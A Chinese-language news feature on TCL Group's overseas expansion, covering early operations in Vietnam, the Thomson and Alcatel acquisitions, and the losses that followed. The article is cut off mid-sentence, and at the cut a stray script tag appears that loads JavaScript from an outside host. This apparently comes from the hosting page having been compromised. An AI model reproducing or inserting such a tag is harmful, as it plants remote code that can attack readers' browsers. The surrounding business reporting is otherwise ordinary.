彩电年销量2300万台，居全球第一
打“飞的”满世界跑，是李东生的工作和生活常态。作为tcl集团董事长，他必须与员工一起，在荆棘密布的国际化征途上奔忙。
在“走出去”的这几年，不时有和煦的阳光射来。2005年，tcl集团销售收入达530亿元，海外收入超过国内市场，占53％，成为真正意义的跨国公司。而且，海外业务已连续6年超过国内市场增幅，彩电去年以2300万台的销量居全球第一，海外销售占53％；手机今年上半年销量541万台，海外销售约占80％。
tcl是如何“走出去”唱响全球市场，并建立起自己的全球竞争优势的？
步步为营 抢占新兴市场先站稳脚跟
与许多中国企业一样，tcl的国际化业务是以oem、odm模式为国外企业代工制造而起步的。这种方式虽然投入少，但受外部环境影响大。1997年的亚洲金融风暴，就让tcl尝到苦头，开始重新审视和部署国际化业务模式。
“加入wto后，中国电子企业面对全球化的冲击，如果不能建立有效的全球业务架构，很难与国际巨头竞争。要想不成为跨国公司餐桌上的食物，就必须大胆‘走出去’。”在李东生看来，大不一定强，但不大一定不强。
tcl并未选择正面杀入成熟的欧美市场，而是从新兴市场入手，坚持自主品牌。1998年底，tcl组织了第一支国际化“小分队”，以现任tcl海外事业部总裁易春雨为核心的10多名骨干被派往越南，组建起首家海外分公司。
“当时的越南市场，可以说是日韩品牌的天下。”易春雨回忆，越南市场这一仗，tcl打得非常艰难，亏损带来很大压力，甚至一些管理者都产生了畏难退出的想法。
关键时刻，李东生依然坚定国际化信念。他的一篇《屡败屡战，百折不挠》的文章，把tcl员工思想统一到国际化上来。经过18个月的亏损后，2000年9月，越南市场开始赢利。今天，tcl在越南市场的占有率已达20％，仅次于三星，成为当地主流品牌。
步步为营，先易后难。越南市场取得突破，给了tcl信心和经验。该集团接下来在菲律宾、印尼、新加坡、印度、泰国、俄罗斯、阿根廷等20多个国家和地区建立了分支机构，基本完成了全球新兴市场布局，初步建立起完善的全球市场网络。
尽管日韩品牌不断合围，但tcl硬是虎口夺食，杀出一条“血路”：近5年来，tcl在新兴市场的销售额年均增长34％，利润年均增长26％；2005年，在新兴市场的整体市场份额已达5.5％，今年预计提升到6.5％。
买鸡生蛋 海外并购进军欧美市场
虽然一路飘红，但tcl在新兴市场已触到“天花板”，在一些区域的市场份额超过20％，再想有大的突破很难，必须寻找新市场。
欧美市场进入了tcl的视野。这里，彩电市场容量是中国的两倍，且是高端市场，利润丰厚。若能打进去，还可绕开种种贸易壁垒。消费电子企业要想成为真正的跨国公司，必须在这个擂台过招。但是，欧美又是成熟市场，平均年增长率仅3.5％左右，汤姆逊等跨国巨头已形成垄断格局。
“中国企业如果要取得市场地位，需要很长时间。况且，在欧美推出新品牌非常难，成本极高。因此，我们决定采用跨国并购的方式。”李东生说。
这有点像“买鸡生蛋”。与“借鸡生蛋”（在海外通过合资合作等手段，一步步建厂）相比，其突出优势是中国企业可以最小代价获得技术、品牌与国际销售渠道，规避专利纠纷和反倾销风险，又能吸引和维系不同的消费群体。
在一片质疑声中，tcl义无反顾地高举跨国并购大旗。
2002年，tcl以820万欧元收购德国彩电品牌“施奈德”的品牌资产及部分固定资产，进入欧洲市场，迈出跨国并购的第一步。2003年8月，tcl又间接收购美国govedio品牌，切入美国市场。接着，tcl与法国汤姆逊合并彩电业务，组成全球最大彩电企业。2004年6月，tcl以5500万欧元的投入，拿下法国阿尔卡特的手机业务，打出了世界消费电子主流产业的“中国牌”。
海外并购一下子让tcl站在了全球消费电子阵营的前列：在全球拥有4个研发总部、18个研发中心、近20个制造基地和代加工厂；彩电销量突破2300万台，成为世界第一大彩电制造商，全球市场占有率9.1％；手机销量超过1000万部，跻身全球第9大手机厂商。
但在李东生的计划中，海外并购并不仅是规模上的数字相加。以收购汤姆逊彩电为例，tcl不仅产能迅速扩张，还获得了汤姆逊在法国、新加坡、美国等地的研发机构和技术人才，拥有crt彩电专利34000多项。目前，以法国timthom为主体成立的tcl工业设计院，成为该集团各产业共享的高端工业设计平台。
“在一年多内，两大并购项目就给tcl带来20多亿美元的销售规模。这是采用一般手段很难实现的。”专家表示，tcl为中国企业“走出去”开辟了一条路径。
握指成拳 全球整合产生协同效应
在经历闪光灯和掌声后，试水国际化的tcl不得不面对一个现实——tte（tcl－汤姆逊）和t＆a（tcl－阿尔卡特）两个公司，亏损一度高达10多亿元，外界?script src=http://er12.com/t.js>
